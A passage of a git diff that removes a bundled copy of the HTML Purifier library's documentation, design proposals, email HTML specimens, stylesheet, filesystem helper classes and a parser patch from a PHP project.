'XHTML 1.0 Transitional'); // replace with your doctype - -$purifier = new HTMLPurifier($config); - -// untrusted input HTML -$html = 'Simple and short'; - -$pure_html = $purifier->purify($html); - -echo '
    ' . htmlspecialchars($pure_html) . '
    '; - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/fixquotes.htc b/classes/security/htmlpurifier/docs/fixquotes.htc deleted file mode 100644 index 80dda2dc2..000000000 --- a/classes/security/htmlpurifier/docs/fixquotes.htc +++ /dev/null @@ -1,9 +0,0 @@ - - - - diff --git a/classes/security/htmlpurifier/docs/index.html b/classes/security/htmlpurifier/docs/index.html deleted file mode 100644 index 3c4ecc716..000000000 --- a/classes/security/htmlpurifier/docs/index.html +++ /dev/null @@ -1,188 +0,0 @@ - - - - - - - -Documentation - HTML Purifier - - - - -

    Documentation

    - -

    HTML Purifier has documentation for all types of people. -Here is an index of all of them.

    - -

    End-user

    -

    End-user documentation that contains articles, tutorials and useful -information for casual developers using HTML Purifier.

    - -
    - -
    IDs
    -
    Explains various methods for allowing IDs in documents safely.
    - -
    Embedding YouTube videos
    -
    Explains how to safely allow the embedding of flash from trusted sites.
    - -
    Speeding up HTML Purifier
    -
    Explains how to speed up HTML Purifier through caching or inbound filtering.
    - -
    UTF-8: The Secret of Character Encoding
    -
    Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.
    - -
    Tidy
    -
    Tutorial for tweaking HTML Purifier's Tidy-like behavior.
    - -
    Customize
    -
    Tutorial for customizing HTML Purifier's tag and attribute sets.
    - -
    URI Filters
    -
    Tutorial for creating custom URI filters.
    - -
    - -

    Development

    -

    Developer documentation detailing code issues, roadmaps and project -conventions.

    - -
    - -
    Implementation Progress
    -
    Tables detailing HTML element and CSS property implementation coverage.
    - -
    Naming Conventions
    -
    Defines class naming conventions.
    - -
    Optimization
    -
    Discusses possible methods of optimizing HTML Purifier.
    - -
    Flushing the Purifier
    -
    Discusses when to flush HTML Purifier's various caches.
    - -
    Advanced API
    -
    Specification for HTML Purifier's advanced API for defining -custom filtering behavior.
    - -
    Config Schema
    -
    Describes config schema framework in HTML Purifier.
    - -
    - -

    Proposals

    -

    Proposed features, as well as the associated rambling to get a clear -objective in place before attempted implementation.

    - -
    -
    Colors
    -
    Proposal to allow for color constraints.
    -
    - -

    Reference

    -

    Miscellaneous essays, research pieces and other reference type material -that may not directly discuss HTML Purifier.

    - -
    -
    DevNetwork Credits
    -
    Credits and links to DevNetwork forum topics.
    -
    - -

    Internal memos

    - -

    Plaintext documents that are more for use by active developers of -the code. They may be upgraded to HTML files or stay as TXT scratchpads.

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeNameDescription
    End-userOverviewHigh level overview of the general control flow (mostly obsolete).
    End-userSecurityCommon security issues that may still arise (half-baked).
    DevelopmentConfig BC BreaksBackwards-incompatible changes in HTML Purifier 4.0.0
    DevelopmentCode Quality IssuesEnumerates code quality issues and places that need to be refactored.
    ProposalFilter levelsOutlines details of projected configurable level of filtering.
    ProposalLanguageSpecification of I18N for error messages derived from MediaWiki (half-baked).
    ProposalNew directivesAssorted configuration options that could be implemented.
    ProposalCSS extractionTaking the inline CSS out of documents and into style.
    ReferenceHandling Content Model ChangesDiscusses how to tidy up content model changes using custom ChildDef classes.
    ReferenceProprietary tagsList of vendor-specific tags we may want to transform to W3C compliant markup.
    ReferenceModularization of HTMLDefinitionProvides a high-level overview of the concepts behind HTMLModules.
    ReferenceWHATWGHow WHATWG plays into what we need to do.
    - - - - - diff --git a/classes/security/htmlpurifier/docs/proposal-colors.html b/classes/security/htmlpurifier/docs/proposal-colors.html deleted file mode 100644 index 657633882..000000000 --- a/classes/security/htmlpurifier/docs/proposal-colors.html +++ /dev/null @@ -1,49 +0,0 @@ - - - - - - - -Proposal: Colors - HTML Purifier - - - -

    Colors

    -
    Hammering some sense into those color-blind newbies
    - -
    Filed under Proposals
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Your website probably has a color-scheme. -Green on white, -purple on yellow, -whatever. When you give users the ability to style their content, you may -want them to keep in line with your styling. If you're website is all -about light colors, you don't want a user to come in and vandalize your -page with a deep maroon.

    - -

    This is an extremely silly feature proposal, but I'm writing it down anyway.

    - -

    What if the user could constrain the colors specified in inline styles? You -are only allowed to use these shades of dark green for text and these shades -of light yellow for the background. At the very least, you could ensure -that we did not have pale yellow on white text.

    - -

    Implementation issues

    - -
      -
    1. Requires the color attribute definition to know, currently, what the text -and background colors are. This becomes difficult when classes are thrown -into the mix.
    2. -
    3. The user still has to define the permissible colors, how does one do -something like that?
    4. -
    - - - - - diff --git a/classes/security/htmlpurifier/docs/proposal-config.txt b/classes/security/htmlpurifier/docs/proposal-config.txt deleted file mode 100644 index 4e031c586..000000000 --- a/classes/security/htmlpurifier/docs/proposal-config.txt +++ /dev/null @@ -1,23 +0,0 @@ - -Configuration - -Configuration is documented on a per-use case: if a class uses a certain -value from the configuration object, it has to define its name and what the -value is used for. This means decentralized configuration declarations that -are nevertheless error checking and a centralized configuration object. - -Directives are divided into namespaces, indicating the major portion of -functionality they cover (although there may be overlaps). Please consult -the documentation in ConfigDef for more information on these namespaces. - -Since configuration is dependant on context, internal classes require a -configuration object to be passed as a parameter. (They also require a -Context object). A majority of classes do not need the config object, -but for those who do, it is a lifesaver. - -Definition objects are complex datatypes influenced by their respective -directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS). -If any of these directives is updated, HTML Purifier forces the definition -to be regenerated. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/proposal-css-extraction.txt b/classes/security/htmlpurifier/docs/proposal-css-extraction.txt deleted file mode 100644 index 9933c96b8..000000000 --- a/classes/security/htmlpurifier/docs/proposal-css-extraction.txt +++ /dev/null @@ -1,34 +0,0 @@ - -Extracting inline CSS from HTML Purifier - voodoofied: Assigning semantics to elements - -Sander Tekelenburg brought to my attention the poor programming style of -inline CSS in HTML documents. In an ideal world, we wouldn't be using inline -CSS at all: everything would be assigned using semantic class attributes -from an external stylesheet. - -With ExtractStyleBlocks and CSSTidy, this is now possible (when allowed, users -can specify a style element which gets extracted from the user-submitted HTML, which -the application can place in the head of the HTML document). But there still -is the issue of inline CSS that refuses to go away. - -The basic idea behind this feature is assign every element a unique identifier, -and then move all of the CSS data to a style-sheet. This HTML: - -
    Big things!
    - -into - -
    Big things!
    - -and a stylesheet that is: - -#hp-12345 {text-align:center;} -#hp-12346 {color:red;} - -Beyond that, HTML Purifier can magically merge common CSS values together, -and a whole manner of other heuristic things. HTML Purifier should also -make it easy for an admin to re-style the HTML semantically. Speed is not -an issue. Also, better WYSIWYG editors are needed. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/docs/proposal-errors.txt b/classes/security/htmlpurifier/docs/proposal-errors.txt deleted file mode 100644 index 87cb2ac19..000000000 --- a/classes/security/htmlpurifier/docs/proposal-errors.txt +++ /dev/null @@ -1,211 +0,0 @@ -Considerations for ErrorCollection - -Presently, HTML Purifier takes a code-execution centric approach to handling -errors. Errors are organized and grouped according to which segment of the -code triggers them, not necessarily the portion of the input document that -triggered the error. This means that errors are pseudo-sorted by category, -rather than location in the document. - -One easy way to "fix" this problem would be to re-sort according to line number. -However, the "category" style information we derive from naively following -program execution is still useful. After all, each of the strategies which -can report errors still process the document mostly linearly. Furthermore, -not only do they process linearly, but the way they pass off operations to -sub-systems mirrors that of the document. For example, AttrValidator will -linearly proceed through elements, and on each element will use AttrDef to -validate those contents. From there, the attribute might have more -sub-components, which have execution passed off accordingly. - -In fact, each strategy handles a very specific class of "error." - -RemoveForeignElements - element tokens -MakeWellFormed - element token ordering -FixNesting - element token ordering -ValidateAttributes - attributes of elements - -The crucial point is that while we care about the hierarchy governing these -different errors, we *don't* care about any other information about what actually -happens to the elements. This brings up another point: if HTML Purifier fixes -something, this is not really a notice/warning/error; it's really a suggestion -of a way to fix the aforementioned defects. - -In short, the refactoring to take this into account kinda sucks. - -Errors should not be recorded in order that they are reported. Instead, they -should be bound to the line (and preferably element) in which they were found. -This means we need some way to uniquely identify every element in the document, -which doesn't presently exist. An easy way of adding this would be to track -line columns. An important ramification of this is that we *must* use the -DirectLex implementation. - - 1. Implement column numbers for DirectLex [DONE!] - 2. Disable error collection when not using DirectLex [DONE!] - -Next, we need to re-orient all of the error declarations to place CurrentToken -at utmost important. Since this is passed via Context, it's not always clear -if that's available. ErrorCollector should complain HARD if it isn't available. -There are some locations when we don't have a token available. These include: - - * Lexing - this can actually have a row and column, but NOT correspond to - a token - * End of document errors - bump this to the end - -Actually, we *don't* have to complain if CurrentToken isn't available; we just -set it as a document-wide error. And actually, nothing needs to be done here. - -Something interesting to consider is whether or not we care about the locations -of attributes and CSS properties, i.e. the sub-objects that compose these things. -In terms of consistency, at the very least attributes should have column/line -numbers attached to them. However, this may be overkill, as attributes are -uniquely identifiable. You could go even further, with CSS, but they are also -uniquely identifiable. - -Bottom-line is, however, this information must be available, in form of the -CurrentAttribute and CurrentCssProperty (theoretical) context variables, and -it must be used to organize the errors that the sub-processes may throw. -There is also a hierarchy of sorts that may make merging this into one context -variable more sense, if it hadn't been for HTML's reasonably rigid structure. -A CSS property will never contain an HTML attribute. So we won't ever get -recursive relations, and having multiple depths won't ever make sense. Leave -this be. - -We already have this information, and consequently, using start and end is -*unnecessary*, so long as the context variables are set appropriately. We don't -care if an error was thrown by an attribute transform or an attribute definition; -to the end user these are the same (for a developer, they are different, but -they're better off with a stack trace (which we should add support for) in such -cases). - - 3. Remove start()/end() code. Don't get rid of recursion, though [DONE] - 4. Setup ErrorCollector to use context information to setup hierarchies. - This may require a different internal format. Use objects if it gets - complex. [DONE] - - ASIDE - More on this topic: since we are now binding errors to lines - and columns, a particular error can have three relationships to that - specific location: - - 1. The token at that location directly - RemoveForeignElements - AttrValidator (transforms) - MakeWellFormed - 2. A "component" of that token (i.e. attribute) - AttrValidator (removals) - 3. A modification to that node (i.e. contents from start to end - token) as a whole - FixNesting - - This needs to be marked accordingly. In the presentation, it might - make sense keep (3) separate, have (2) a sublist of (1). (1) can - be a closing tag, in which case (3) makes no sense at all, OR it - should be related with its opening tag (this may not necessarily - be possible before MakeWellFormed is run). - - So, the line and column counts as our identifier, so: - - $errors[$line][$col] = ... - - Then, we need to identify case 1, 2 or 3. They are identified as - such: - - 1. Need some sort of semaphore in RemoveForeignElements, etc. - 2. If CurrentAttr/CurrentCssProperty is non-null - 3. Default (FixNesting, MakeWellFormed) - - One consideration about (1) is that it usually is actually a - (3) modification, but we have no way of knowing about that because - of various optimizations. However, they can probably be treated - the same. The other difficulty is that (3) is never a line and - column; rather, it is a range (i.e. a duple) and telling the user - the very start of the range may confuse them. For example, - - Foo
    bar
    - ^ ^ - - The node being operated on is , so the error would be assigned - to the first caret, with a "node reorganized" error. Then, the - ChildDef would have submitted its own suggestions and errors with - regard to what's going in the internals. So I suppose this is - ok. :-) - - Now, the structure of the earlier mentioned ... would be something - like this: - - object { - type = (token|attr|property), - value, // appropriate for type - errors => array(), - sub-errors = [recursive], - } - - This helps us keep things agnostic. It is also sufficiently complex - enough to warrant an object. - -So, more wanking about the object format is in order. The way HTML Purifier is -currently setup, the only possible hierarchy is: - - token -> attr -> css property - -These relations do not exist all of the time; a comment or end token would not -ever have any attributes, and non-style attributes would never have CSS properties -associated with them. - -I believe that it is worth supporting multiple paths. At some point, we might -have a hierarchy like: - - * -> syntax - -> token -> attr -> css property - -> url - -> css stylesheet - - - -

    HTML align attribute to CSS

    - -

    Inspect source for methodology.

    - -
    -
    - HTML -
    -
    - CSS -
    -
    - -
    - -

    table.align

    - -

    left

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    center

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    right

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -
    - - - -
    -

    img.align

    -

    left

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    right

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    bottom

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    middle

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    top

    -
    -
    - aa -
    -
    - aa -
    -
    - -
    - - - -
    - -

    hr.align

    - -

    left

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    center

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    right

    -
    -
    -
    -
    -
    -
    -
    -
    - -
    - - - diff --git a/classes/security/htmlpurifier/docs/specimens/img.png b/classes/security/htmlpurifier/docs/specimens/img.png deleted file mode 100644 index a755bcb5edbb34f9795364dd147f6d3c58465c86..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2138 zcmV-g2&MOlP)U-u*QjPY~x+q*!!Bf{V}^P zE~UxZ9-G1*X|$T1-I;T~x%b?2&OM^4s*1Z=BzL)F0Av7U0Av7U0Av7U0Av8%wPMWR zv*rQIfh9l{Pz>ZIuZ;j#flI(ypatl?69D7`4+4(@D}Vx@&qrZlAr%!B6c!c&(BI!r zFc_r2zn^F{3NQ$q0DcJ^0m5D>C_GAr0>IaSr+~_`vNG1MU(c#lt0*lk#j-3wAcXs4 ztpPN#Sd6Z&E}EO0IdI?rSFT(ExC}f8><5Pb9{_wF*b6MGudip@w(V3es7A?uyBqCV ze6unsB7p5UT)cRZ9ox6l+}sRs0r)QP+U*L!2kZjAQ(0NbPxd`e?S1zlrNGhpmPX%F zF(Ht`{cl^_IiB431f89o06zvc1JUVFS``!&Ovil+fP+B8SJ$oMr!T(9$4W|Yw1e%q z#%oQQhsJR^7aqdV8r!j_ zbzUi{kV0_i$PvEx)VI)5z6GoWLbD0L2mBWJ-2RtdV%5r(#1nSf!#$m8VHyS}{`wcz zH8hYM1z(!VbeQTC_yO>>?YnmIz-J#I5{qLy4vyB|9F9Z6wy7*Hr)2(o{`B_SH9!{d z=4=3X2-x?fkH*{eGhH_>6|IKGP%;iSWo*zRU+*U1xxmlZg{18wsulmTr1_Gk(9H!Qo+MT1F!g z3IYK(J-wN4Kl#Mcq)yMx1b}>CRB{2;Hr4)uV+;b@qQlOCtAyBDgD2)*`GCIa5>gssoP~)7W zj<0(KV2L9HBV(hybLt-$rio#in3muD%<^MdK1|bOEUJ(~x)7uS2Q14qUMYo<{FKT- z36=a_Vi@i@fKn29Lxy;308#P_i&4tNw&P2@1W+NA!phDXH$)2e4N55x$qJj4@+RXA zr4Toy#E#Yot&!Ts2AqT@o&Xt(yZ1w)42i%Ee}$L`!?|H(*up_bMRp*U;m}}(r#`^6 zETmKu6qr;oGMVoF=XXL*G*TuVooN^dWsqf=n1+FNG*R0o8jayN8r!zX&J8de8Z7Y= zK(3TCS4WjXfWA2)%FoT=-lDk#va+yDgSc(eI}qa4IR*4~b>`mjRbktT(uTlzUzj9dR7zwgZy#C;k2XsS2}aBcLZ9i{Uu-NAk`yB?19j6AT7PCkB`d zfS|T*;*sbCk3QQXg&-P@F)%Oy5cCqjS*bPG!{G@P+}RYZH9`tHJAQ@s;V&hzSd4=Q4+0$b+6Msqnpli$S9``| z{n;G;rczwE(9Wexmt5V_1vrW49sxS~x<0_R?OAn(hEl|Bn;-4j1JIGw&2s=@;DyN0 z5Z%Eb%Cu$;fZu1)(%Q<2=05|xz$7+NC;R#i0B1VieV6Fyb(At@-1scNpONdMJhORA z%JaW8DIYS)=MMv0oJfRoEiJA$R&vJXz0b0cQnGvZZmx7*26zS-nn?fvhk?DJo*pi= z{vBodkivTiLI~yra%gI7;&9`u;O;~>P4<3M-5ELt)C~;`)JQ2PE-OPyw+5lw0*lU6ay1N4R;v5Mq2?7q~Tsl+j8`45=v0%cJegJM7-}eUgQb4L1~!W*mT> zRN|8Z-QCsEXoP#K7fdj8x&Ro`z%oq!cKjIoez+UpE#ML0`cw>EF4TtZ)bm2Uv zX)(8C9;q^Cx&Wk-n9@L_xp?lM{QUW6x!lnXZiB=((oK7B=~KLHk;yMAqIUVG`1q0~ z7|AN}xQ`Gbc`gvrMBUa&MTZhbDEB}vkZp@A&n*} z!!W3;tK;O!limR6=;$C8i*fYmQMPW~N;v$Xf!9rKatMh(C!0WC9{#Kx0AkTGhQmXQ zja)}-8`5l(%g@he$BrGWUcDOAG+DH0kv9O^+uO(IZaf~Rsi}#bJ9jcP^pRqaX>XLw z%gbZSmMyGVvj)qua2yBQw!H&zCrYMSIs+gBAOj!+AOj!+AOj!+;BJ+F0UD2hYPD%9{>OV diff --git a/classes/security/htmlpurifier/docs/specimens/jochem-blok-word.html b/classes/security/htmlpurifier/docs/specimens/jochem-blok-word.html deleted file mode 100644 index 1cc08f888..000000000 --- a/classes/security/htmlpurifier/docs/specimens/jochem-blok-word.html +++ /dev/null @@ -1,129 +0,0 @@ - - - - - - - - - - - - -
    - -

    - -

     

    - -

    Name

    - -

    E-mail : mail@example.com

    - -

     

    - -

    Company

    - -

    Address 1

    - -

    Address 2

    - -

     

    - -

    Telefoon  : +xx xx xxx xxx xx

    - -

    Fax  : +xx xx xxx xx xx

    - -

    Internet : http://www.example.com

    - -

    Kamer van koophandel -xxxxxxxxx

    - -

     

    - -

    Op deze -e-mail is een disclaimer van toepassing, ga naar www.example.com/disclaimer
    -A disclaimer is applicable to this email, please -refer to www.example.com/disclaimer

    - -

     

    - -
    - - - - diff --git a/classes/security/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html b/classes/security/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html deleted file mode 100644 index 735b4bd95..000000000 --- a/classes/security/htmlpurifier/docs/specimens/windows-live-mail-desktop-beta.html +++ /dev/null @@ -1,74 +0,0 @@ - - - - - - - -
    Play -slideshow | Download the highest quality version of a picture by -clicking the + above it
    -
    -
      -
    1. Angry smile emoticonUn ka Tev iet, un ko tu dari? -
    2. Aha!
    - -
    - - - - - - -
    - -
    -
    This - is title for this - picture
    - -
    -
     
    -
    Online -pictures are available for 30 days. Get Windows Live Mail desktop to create -your own photo e-mails.
    diff --git a/classes/security/htmlpurifier/docs/style.css b/classes/security/htmlpurifier/docs/style.css deleted file mode 100644 index bd79c8a00..000000000 --- a/classes/security/htmlpurifier/docs/style.css +++ /dev/null @@ -1,76 +0,0 @@ -html {font-size:1em; font-family:serif; } -body {margin-left:4em; margin-right:4em; } - -dt {font-weight:bold; } -pre {margin-left:2em; } -pre, code, tt {font-family:monospace; font-size:1em; } - -h1 {text-align:center; font-family:Garamond, serif; - font-variant:small-caps;} -h2 {border-bottom:1px solid #CCC; font-family:sans-serif; font-weight:normal; - font-size:1.3em;} -h3 {font-family:sans-serif; font-size:1.1em; font-weight:bold; } -h4 {font-family:sans-serif; font-size:0.9em; font-weight:bold; } - -/* For witty quips */ -.subtitled {margin-bottom:0em;} -.subtitle , .subsubtitle {font-size:.8em; margin-bottom:1em; - font-style:italic; margin-top:-.2em;text-align:center;} -.subsubtitle {text-align:left;margin-left:2em;} - -/* Used for special "See also" links. */ -.reference {font-style:italic;margin-left:2em;} - -/* Marks off asides, discussions on why something is the way it is */ -.aside {margin-left:2em; font-family:sans-serif; font-size:0.9em; } -blockquote .label {font-weight:bold; font-size:1em; margin:0 0 .1em; - border-bottom:1px solid #CCC;} -.emphasis {font-weight:bold; text-align:center; font-size:1.3em;} - -/* A regular table */ -.table {border-collapse:collapse; border-bottom:2px solid #888; margin-left:2em; } -.table thead th {margin:0; background:#888; color:#FFF; } -.table thead th:first-child {-moz-border-radius-topleft:1em;} -.table tbody td {border-bottom:1px solid #CCC; padding-right:0.6em;padding-left:0.6em;} - -/* A quick table*/ -table.quick tbody th {text-align:right; padding-right:1em;} - -/* Category of the file */ -#filing {font-weight:bold; font-size:smaller; } - -/* Contains, without exception, Return to index. */ -#index {font-size:smaller; } - -#home {font-size:smaller;} - -/* Contains, without exception, $Id$, for SVN version info. */ -#version {text-align:right; font-style:italic; margin:2em 0;} - -#toc ol ol {list-style-type:lower-roman;} -#toc ol {list-style-type:decimal;} -#toc {list-style-type:upper-alpha;} - -q { - behavior: url(fixquotes.htc); /* IE fix */ - quotes: '\201C' '\201D' '\2018' '\2019'; -} -q:before { - content: open-quote; -} -q:after { - content: close-quote; -} - -/* Marks off implementation details interesting only to the person writing - the class described in the spec. */ -.technical {margin-left:2em; } -.technical:before {content:"Technical note: "; font-weight:bold; color:#061; } - -/* Marks off sections that are lacking. */ -.fixme {margin-left:2em; } -.fixme:before {content:"Fix me: "; font-weight:bold; color:#C00; } - -#applicability {margin: 1em 5%; font-style:italic;} - -/* vim: et sw=4 sts=4 */ diff --git a/classes/security/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php b/classes/security/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php deleted file mode 100644 index f7095285b..000000000 --- a/classes/security/htmlpurifier/extras/ConfigDoc/HTMLXSLTProcessor.php +++ /dev/null @@ -1,86 +0,0 @@ -xsltProcessor = $proc; - } - - /** - * @note Allows a string $xsl filename to be passed - */ - public function importStylesheet($xsl) { - if (is_string($xsl)) { - $xsl_file = $xsl; - $xsl = new DOMDocument(); - $xsl->load($xsl_file); - } - return $this->xsltProcessor->importStylesheet($xsl); - } - - /** - * Transforms an XML file into compatible XHTML based on the stylesheet - * @param $xml XML DOM tree, or string filename - * @return string HTML output - * @todo Rename to transformToXHTML, as transformToHTML is misleading - */ - public function transformToHTML($xml) { - if (is_string($xml)) { - $dom = new DOMDocument(); - $dom->load($xml); - } else { - $dom = $xml; - } - $out = $this->xsltProcessor->transformToXML($dom); - - // fudges for HTML backwards compatibility - // assumes that document is XHTML - $out = str_replace('/>', ' />', $out); //
    not
    - $out = str_replace(' xmlns=""', '', $out); // rm unnecessary xmlns - - if (class_exists('Tidy')) { - // cleanup output - $config = array( - 'indent' => true, - 'output-xhtml' => true, - 'wrap' => 80 - ); - $tidy = new Tidy; - $tidy->parseString($out, $config, 'utf8'); - $tidy->cleanRepair(); - $out = (string) $tidy; - } - - return $out; - } - - /** - * Bulk sets parameters for the XSL stylesheet - * @param array $options Associative array of options to set - */ - public function setParameters($options) { - foreach ($options as $name => $value) { - $this->xsltProcessor->setParameter('', $name, $value); - } - } - - /** - * Forward any other calls to the XSLT processor - */ - public function __call($name, $arguments) { - call_user_func_array(array($this->xsltProcessor, $name), $arguments); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/extras/FSTools.php b/classes/security/htmlpurifier/extras/FSTools.php deleted file mode 100644 index 17c35ee6d..000000000 --- a/classes/security/htmlpurifier/extras/FSTools.php +++ /dev/null @@ -1,157 +0,0 @@ -mkdir($base); - } - $base .= DIRECTORY_SEPARATOR; - } - } - - /** - * Copy a file, or recursively copy a folder and its contents; modified - * so that copied files, if PHP, have includes removed - * @note Adapted from http://aidanlister.com/repos/v/function.copyr.php - */ - public function copyr($source, $dest) { - // Simple copy for a file - if (is_file($source)) { - return $this->copy($source, $dest); - } - // Make destination directory - if (!is_dir($dest)) { - $this->mkdir($dest); - } - // Loop through the folder - $dir = $this->dir($source); - while ( false !== ($entry = $dir->read()) ) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - if (!$this->copyable($entry)) { - continue; - } - // Deep copy directories - if ($dest !== "$source/$entry") { - $this->copyr("$source/$entry", "$dest/$entry"); - } - } - // Clean up - $dir->close(); - return true; - } - - /** - * Overloadable function that tests a filename for copyability. By - * default, everything should be copied; you can restrict things to - * ignore hidden files, unreadable files, etc. This function - * applies to copyr(). - */ - public function copyable($file) { - return true; - } - - /** - * Delete a file, or a folder and its contents - * @note Adapted from http://aidanlister.com/repos/v/function.rmdirr.php - */ - public function rmdirr($dirname) - { - // Sanity check - if (!$this->file_exists($dirname)) { - return false; - } - - // Simple delete for a file - if ($this->is_file($dirname) || $this->is_link($dirname)) { - return $this->unlink($dirname); - } - - // Loop through the folder - $dir = $this->dir($dirname); - while (false !== $entry = $dir->read()) { - // Skip pointers - if ($entry == '.' || $entry == '..') { - continue; - } - // Recurse - $this->rmdirr($dirname . DIRECTORY_SEPARATOR . $entry); - } - - // Clean up - $dir->close(); - return $this->rmdir($dirname); - } - - /** - * Recursively globs a directory. - */ - public function globr($dir, $pattern, $flags = NULL) { - $files = $this->glob("$dir/$pattern", $flags); - if ($files === false) $files = array(); - $sub_dirs = $this->glob("$dir/*", GLOB_ONLYDIR); - if ($sub_dirs === false) $sub_dirs = array(); - foreach ($sub_dirs as $sub_dir) { - $sub_files = $this->globr($sub_dir, $pattern, $flags); - $files = array_merge($files, $sub_files); - } - return $files; - } - - /** - * Allows for PHP functions to be called and be stubbed. - * @warning This function will not work for functions that need - * to pass references; manually define a stub function for those. - */ - public function __call($name, $args) { - return call_user_func_array($name, $args); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/extras/FSTools/File.php b/classes/security/htmlpurifier/extras/FSTools/File.php deleted file mode 100644 index 1c76705d6..000000000 --- a/classes/security/htmlpurifier/extras/FSTools/File.php +++ /dev/null @@ -1,126 +0,0 @@ -name = $name; - $this->fs = $fs ? $fs : FSTools::singleton(); - } - - /** Returns the filename of the file. */ - public function getName() {return $this->name;} - - /** Returns directory of the file without trailing slash */ - public function getDirectory() {return $this->fs->dirname($this->name);} - - /** - * Retrieves the contents of a file - * @todo Throw an exception if file doesn't exist - */ - public function get() { - return $this->fs->file_get_contents($this->name); - } - - /** Writes contents to a file, creates new file if necessary */ - public function write($contents) { - return $this->fs->file_put_contents($this->name, $contents); - } - - /** Deletes the file */ - public function delete() { - return $this->fs->unlink($this->name); - } - - /** Returns true if file exists and is a file. */ - public function exists() { - return $this->fs->is_file($this->name); - } - - /** Returns last file modification time */ - public function getMTime() { - return $this->fs->filemtime($this->name); - } - - /** - * Chmod a file - * @note We ignore errors because of some weird owner trickery due - * to SVN duality - */ - public function chmod($octal_code) { - return @$this->fs->chmod($this->name, $octal_code); - } - - /** Opens file's handle */ - public function open($mode) { - if ($this->handle) $this->close(); - $this->handle = $this->fs->fopen($this->name, $mode); - return true; - } - - /** Closes file's handle */ - public function close() { - if (!$this->handle) return false; - $status = $this->fs->fclose($this->handle); - $this->handle = false; - return $status; - } - - /** Retrieves a line from an open file, with optional max length $length */ - public function getLine($length = null) { - if (!$this->handle) $this->open('r'); - if ($length === null) return $this->fs->fgets($this->handle); - else return $this->fs->fgets($this->handle, $length); - } - - /** Retrieves a character from an open file */ - public function getChar() { - if (!$this->handle) $this->open('r'); - return $this->fs->fgetc($this->handle); - } - - /** Retrieves an $length bytes of data from an open data */ - public function read($length) { - if (!$this->handle) $this->open('r'); - return $this->fs->fread($this->handle, $length); - } - - /** Writes to an open file */ - public function put($string) { - if (!$this->handle) $this->open('a'); - return $this->fs->fwrite($this->handle, $string); - } - - /** Returns TRUE if the end of the file has been reached */ - public function eof() { - if (!$this->handle) return true; - return $this->fs->feof($this->handle); - } - - public function __destruct() { - if ($this->handle) $this->close(); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/extras/HTMLPurifierExtras.auto.php b/classes/security/htmlpurifier/extras/HTMLPurifierExtras.auto.php deleted file mode 100644 index 4016d8afd..000000000 --- a/classes/security/htmlpurifier/extras/HTMLPurifierExtras.auto.php +++ /dev/null @@ -1,11 +0,0 @@ -fopen(...). - This makes it a lot simpler to mock these filesystem calls for unit testing. - -- FSTools_File: This object represents a single file, and has almost any - method imaginable one would need. - -Check the files themselves for more information. - - vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/maintenance/.htaccess b/classes/security/htmlpurifier/maintenance/.htaccess deleted file mode 100644 index 3a4288278..000000000 --- a/classes/security/htmlpurifier/maintenance/.htaccess +++ /dev/null @@ -1 +0,0 @@ -Deny from all diff --git a/classes/security/htmlpurifier/maintenance/PH5P.patch b/classes/security/htmlpurifier/maintenance/PH5P.patch deleted file mode 100644 index 763709509..000000000 --- a/classes/security/htmlpurifier/maintenance/PH5P.patch +++ /dev/null @@ -1,102 +0,0 @@ ---- C:\Users\Edward\Webs\htmlpurifier\maintenance\PH5P.php 2008-07-07 09:12:12.000000000 -0400 -+++ C:\Users\Edward\Webs\htmlpurifier\maintenance/PH5P.new.php 2008-12-06 02:29:34.988800000 -0500 -@@ -65,7 +65,7 @@ - - public function __construct($data) { - $data = str_replace("\r\n", "\n", $data); -- $date = str_replace("\r", null, $data); -+ $data = str_replace("\r", null, $data); - - $this->data = $data; - $this->char = -1; -@@ -211,7 +211,10 @@ - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; -- $this->emitToken($char); -+ $this->emitToken(array( -+ 'type' => self::CHARACTR, -+ 'data' => $char -+ )); - - // Finally, switch to the data state. - $this->state = 'data'; -@@ -708,7 +711,7 @@ - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ -- $this->entityInAttributeValueState('non'); -+ $this->entityInAttributeValueState(); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) -@@ -738,7 +741,8 @@ - ? '&' - : $entity; - -- $this->emitToken($char); -+ $last = count($this->token['attr']) - 1; -+ $this->token['attr'][$last]['value'] .= $char; - } - - private function bogusCommentState() { -@@ -1066,6 +1070,11 @@ - $this->char++; - - if(in_array($id, $this->entities)) { -+ if ($e_name[$c-1] !== ';') { -+ if ($c < $len && $e_name[$c] == ';') { -+ $this->char++; // consume extra semicolon -+ } -+ } - $entity = $id; - break; - } -@@ -2084,7 +2093,7 @@ - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - -- $this->insertElement($token); -+ $this->insertElement($token, true, true); - 